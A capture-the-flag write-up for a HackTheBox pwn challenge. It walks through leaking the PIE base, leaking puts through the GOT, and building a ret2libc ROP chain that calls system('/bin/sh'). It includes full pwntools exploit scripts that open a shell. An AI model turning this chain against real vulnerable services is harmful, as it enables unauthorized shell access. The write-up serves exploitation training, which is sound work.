← Back to Writeups
HTBN/APwn

Space pirate: Retribution

XESXOR8/23/20265 min read
#pwn#htb#n/a

Space pirate: Retribution

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

We got access to the Admin Panel! The last part of the mission is to change the target location of the missiles. We can probably target Draeger's HQ or some other Golden Fang's spaceships. Draeger's HQ might be out of the scope for now, but we can certainly cause significant damage to his army.

Solution Approach

Core idea: Stack-Based Exploitation. Bypass PIE protection.

Steps

  1. In this challenge we're given a 64 bit binary, dynamically linked, not stripped, and a libc library.

BINARY PROTECTIONS

  1. After decompiled the binary, it seems there's no interesting function to jump to, seems the concept here is ret2libc.
  2. Anyway the 2nd option should be our interest.

2nd option --> missile_launcher()

  1. Let us run the binary then.

Try by send \n --> got unreadable bytes (need to unpack it).

  1. Knowing this result, we can unpack it then format it to hex again, this should be a potential pie leak. Well this challenge is interesting, took me a while to leak the pie and calculate it correctly. Because if we leak it by sending newline, we shall have only 3/4 of the leaked PIE.

MY WAY TO GET THE FULLY LEAKED PIE

  1. I think my solution is kinda unintended, but if it works what can you say. So i tried by sending 7 bytes, why no 8?? Well in c language, we know our input will have \0 at the end. So 7 bytes input shall count as 8. However i tried sending 8 bytes too but resulting to no leaked pie.

SENDING 7 BYTES

GETTING PIE_BASE

CALCULATED PIE BASE - BOTH ARE EQUAL

PIE_BASE SCRIPT

from pwn import *
import os 
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './sp_retribution'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

sh = start()
pause()
sh.sendlineafter(b'>> ', b'2')

### sending 7 bytes remembering there's null bytes so will be exact 8.

sh.sendlineafter(b'= ', b'AAAAAAA') 

### GRABBING PIE

sh.recvuntil(b'y = AAAAAAA\n')
get = sh.recvline().strip()
print('THIS IS -->',get)

leak = unpack(get.ljust(8,b'\x00'))
#print(leak)
log.success('LEAKED PIE --> %#0x', leak)
elf.address = leak - 3440
log.success('Calculated pie_base --> %#0x', elf.address)

sh.interactive()
  1. Now all we need is to leak the libc_puts address, then we can calculate the libc_base.

It's good knowing we have puts@got.

  1. There are few steps we need:
  • Grab the rdi gadget, then calculate it with base address.
  • get the RIP offset.
  • Checks interesting function to return to (need to loop so we can grab the leaked puts@got address.
padding + rdi_gadget + puts@got + puts@plt + sym.missile_launcher

GRAB RDI & calc it with base address

rdi_gadget = elf.address + ropper_rdi

RIP Offset --> 88

LEAK LIBC SNIPPET

pop_rdi = 0x0000000000000d33
log.success('pop_rdi_gadget --> %#0x', pop_rdi)

calc_rdi = elf.address + pop_rdi
log.success('Calculated pop_rdi gadget --> %#0x', calc_rdi)

padding = 88
p = flat([
    asm('nop') * padding,
    calc_rdi,
    elf.got['puts'],
    elf.plt['puts'],
    elf.sym['main']
])

sh.sendlineafter(b':', p)

FULL SCRIPT - GRAB LIBC PUTS & CALCULATE THE LIBC_BASE

from pwn import *
import os 
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './sp_retribution'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

sh = start()
pause()
sh.sendlineafter(b'>> ', b'2')

### sending 7 bytes remembering there's null bytes so will be exact 8.

sh.sendlineafter(b'= ', b'AAAAAAA') 

### GRABBING PIE

sh.recvuntil(b'y = AAAAAAA\n')
get = sh.recvline().strip()
print('THIS IS -->',get)

leak = unpack(get.ljust(8,b'\x00'))
#print(leak)
log.success('LEAKED PIE --> %#0x', leak)
elf.address = leak - 3440
log.success('Calculated pie_base --> %#0x', elf.address)

pop_rdi = 0x0000000000000d33
log.success('pop_rdi_gadget --> %#0x', pop_rdi)

calc_rdi = elf.address + pop_rdi
log.success('Calculated pop_rdi gadget --> %#0x', calc_rdi)

padding = 88
p = flat([
    asm('nop') * padding,
    calc_rdi,
    elf.got['puts'],
    elf.plt['puts'],
    elf.sym['main']
])

sh.sendlineafter(b':', p)

sh.recvline()
sh.recvline()

get = sh.recvline().strip()
#print('PUTS -->',get)

leaked_puts = unpack(get.ljust(8,b'\x00'))
log.success('LEAKED PUTS --> %#0x', leaked_puts)

libc.address = leaked_puts - libc.sym['puts'] #456352 --> using vmmap shall gave the same result
log.info('LIBC BASE --> %#0x', libc.address)
  1. Finally we just need to send our system("/bin/sh"); payload.
padding + rdi + /bin/sh\x00 + sym.system

FINAL SCRIPT

from pwn import *
import os 
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './sp_retribution'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)

sh = start()
#pause()
sh.sendlineafter(b'>> ', b'2')

### sending 7 bytes remembering there's null bytes so will be exact 8.

sh.sendlineafter(b'= ', b'AAAAAAA') 

### GRABBING PIE

sh.recvuntil(b'y = AAAAAAA\n')
get = sh.recvline().strip()
print('THIS IS -->',get)

leak = unpack(get.ljust(8,b'\x00'))
#print(leak)
log.success('LEAKED PIE --> %#0x', leak)
elf.address = leak - 3440
log.success('Calculated pie_base --> %#0x', elf.address)

pop_rdi = 0x0000000000000d33
log.success('pop_rdi_gadget --> %#0x', pop_rdi)

calc_rdi = elf.address + pop_rdi
log.success('Calculated pop_rdi gadget --> %#0x', calc_rdi)

padding = 88
p = flat([
    asm('nop') * padding,
    calc_rdi,
    elf.got['puts'],
    elf.plt['puts'],
    elf.sym['main']
])

sh.sendlineafter(b':', p)

sh.recvline()
sh.recvline()

get = sh.recvline().strip()
#print('PUTS -->',get)

leaked_puts = unpack(get.ljust(8,b'\x00'))
log.success('LEAKED PUTS --> %#0x', leaked_puts)

libc.address = leaked_puts - libc.sym['puts'] #456352 --> using vmmap shall gave the same result
log.info('LIBC BASE --> %#0x', libc.address)

pay = flat([
    asm('nop') * padding,
    calc_rdi,
    next(libc.search(b'/bin/sh')),
    libc.sym['system']
])

sh.sendlineafter(b'>>', b'2')
sh.sendlineafter(b'y =', b'')
sh.sendlineafter(b':', pay) 

sh.interactive()

TEST LOCALLY - GOT SHELL!

TEST REMOTELY

  1. Got the flag!

Flag

REDACTED

Lessons Learned

  1. Stack-Based Exploitation.
  2. Bypass PIE protection.
  3. Implement ret2libc attack.